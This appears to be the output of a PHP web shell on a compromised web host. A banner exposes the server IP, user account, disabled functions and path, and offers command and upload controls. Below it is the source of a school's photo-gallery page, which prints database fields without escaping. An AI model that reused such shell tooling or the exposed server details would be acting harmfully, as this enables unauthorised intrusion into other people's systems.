|
Server IP : 86.38.243.181 / Your IP : 216.73.216.86 Web Server : LiteSpeed System : Linux in-mum-web1336.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64 User : u986601745 ( 986601745) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0701) : /home/u986601745/domains/emrskalsi.com/public_html/admin/img/../../system/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="en" style="overflow-x: hidden;">
<head>
<meta http-equiv="content-type" content="text/html;charset=UTF-8" />
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Eklavya Model Residential School - Gallery</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<?php include('include/header.php'); ?>
<script src="https://cdn.jsdelivr.net/npm/jquery@3.4.0/dist/jquery.min.js"></script>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fancyapps/fancybox@3.5.7/dist/jquery.fancybox.min.css">
<script src="https://cdn.jsdelivr.net/npm/@fancyapps/fancybox@3.5.7/dist/jquery.fancybox.min.js"></script>
<div class="breadcrumbs">
<div class="container">
<!-- <h1 class="pull-left">
Results</h1> -->
<ul class="pull-left breadcrumb">
<li><a href="javascript:void(0)">Gallery</a></li>
<li><a href="javascript:void(0)">Photos Gallery</a></li>
</ul>
<div class="brs">
<!-- <button type="button" class="print-gigw" onclick="printDiv('pr')" value="print a div!" ><i class="fa fa-print" aria-hidden="true"></i>
</button> -->
<script>
function printDiv(pr) {
var printContents = document.getElementById(pr).innerHTML;
var originalContents = document.body.innerHTML;
document.body.innerHTML = printContents;
window.print();
document.body.innerHTML = originalContents;
}
</script>
</div>
</div>
</div>
</div>
<style>.menshow{display:block !important}
.gallery {
display: flex;
flex-wrap: wrap;
/* Compensate for excess margin on outer gallery flex items */
margin: -1rem -1rem;
}
.gallery-item {
/* Minimum width of 24rem and grow to fit available space */
flex: 1 0 24rem;
/* Margin value should be half of grid-gap value as margins on flex items don't collapse */
margin: 1rem;
box-shadow: 0.3rem 0.4rem 0.4rem rgba(0, 0, 0, 0.4);
overflow: hidden;
}
.gallery-image {
display: block;
width: 100%;
height: 100%;
object-fit: cover;
transition: transform 400ms ease-out;
}
.gallery-image:hover {
transform: scale(1.15);
}
/*
The following rule will only run if your browser supports CSS grid.
Remove or comment-out the code block below to see how the browser will fall-back to flexbox styling.
*/
@supports (display: grid) {
.gallery {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(24rem, 1fr));
grid-gap: 2rem;
}
.gallery,
.gallery-item {
margin: 0;
margin-bottom: 20px;
}
}
</style>
</div></div>
<div class="container mb-40" id="pr">
<div class="row"><div class="col-xs-12 col-md-12 col-lg-12" ><div class="ap-section ">
<div class="headline" id="headlines"><h2 >Photos Gallery</h2>
</div>
</div>
<div class="gallery">
<?php
$q = "select * from gallery";
$query = mysqli_query($conn,$q);
$i=1;
while($res = mysqli_fetch_array($query)) { ?>
<div class="gallery-item">
<a href="admin/<?php echo $res['image'] ?>" data-fancybox="group" data-caption="<?php echo $res['title'] ?>">
<img class="gallery-image" src="admin/<?php echo $res['image'] ?>" alt="<?php echo $res['title'] ?>">
</a>
</div>
<?php } ?>
<!-- <div class="gallery-item">
<a href="images/download2.png" data-fancybox="group">
<img class="gallery-image" src="images/download2.png" alt="sunset behind San Francisco city skyline">
</a>
</div>
<div class="gallery-item">
<a href="images/download3.png" data-fancybox="group">
<img class="gallery-image" src="images/download3.png">
</a>
</div>
<div class="gallery-item">
<a href="images/download4.png" data-fancybox="group">
<img class="gallery-image" src="images/download4.png">
</a>
</div>
<div class="gallery-item">
<a href="images/download5.png" data-fancybox="group">
<img class="gallery-image" src="images/download5.png">
</a>
</div>
<div class="gallery-item">
<a href="images/download6.png" data-fancybox="group">
<img class="gallery-image" src="images/download6.png">
</a>
</div>
<div class="gallery-item">
<a href="images/download1.png" data-fancybox="group">
<img class="gallery-image" src="images/download1.png">
</a>
</div><div class="gallery-item">
<a href="images/download7.png" data-fancybox="group">
<img class="gallery-image" src="images/download7.png">
</a>
</div>
<div class="gallery-item">
<a href="images/download8.png" data-fancybox="group">
<img class="gallery-image" src="images/download8.png">
</a>
</div>
<div class="gallery-item">
<a href="images/download9.png" data-fancybox="group">
<img class="gallery-image" src="images/download9.png">
</a>
</div>
<div class="gallery-item">
<a href="images/download10.png" data-fancybox="group">
<img class="gallery-image" src="images/download10.png">
</a>
</div>
<div class="gallery-item">
<a href="images/download11.png" data-fancybox="group">
<img class="gallery-image" src="images/download11.png">
</a>
</div> -->
</div>
</div>
</div>
</div>
<script>
$('[data-fancybox]').fancybox({
// Options will go here
buttons : [
'close'
],
wheel : false,
transitionEffect: "slide",
// thumbs : false,
// hash : false,
loop : true,
// keyboard : true,
toolbar : false,
// animationEffect : false,
// arrows : true,
clickContent : false
});
</script>
<?php include('include/footer.php'); ?>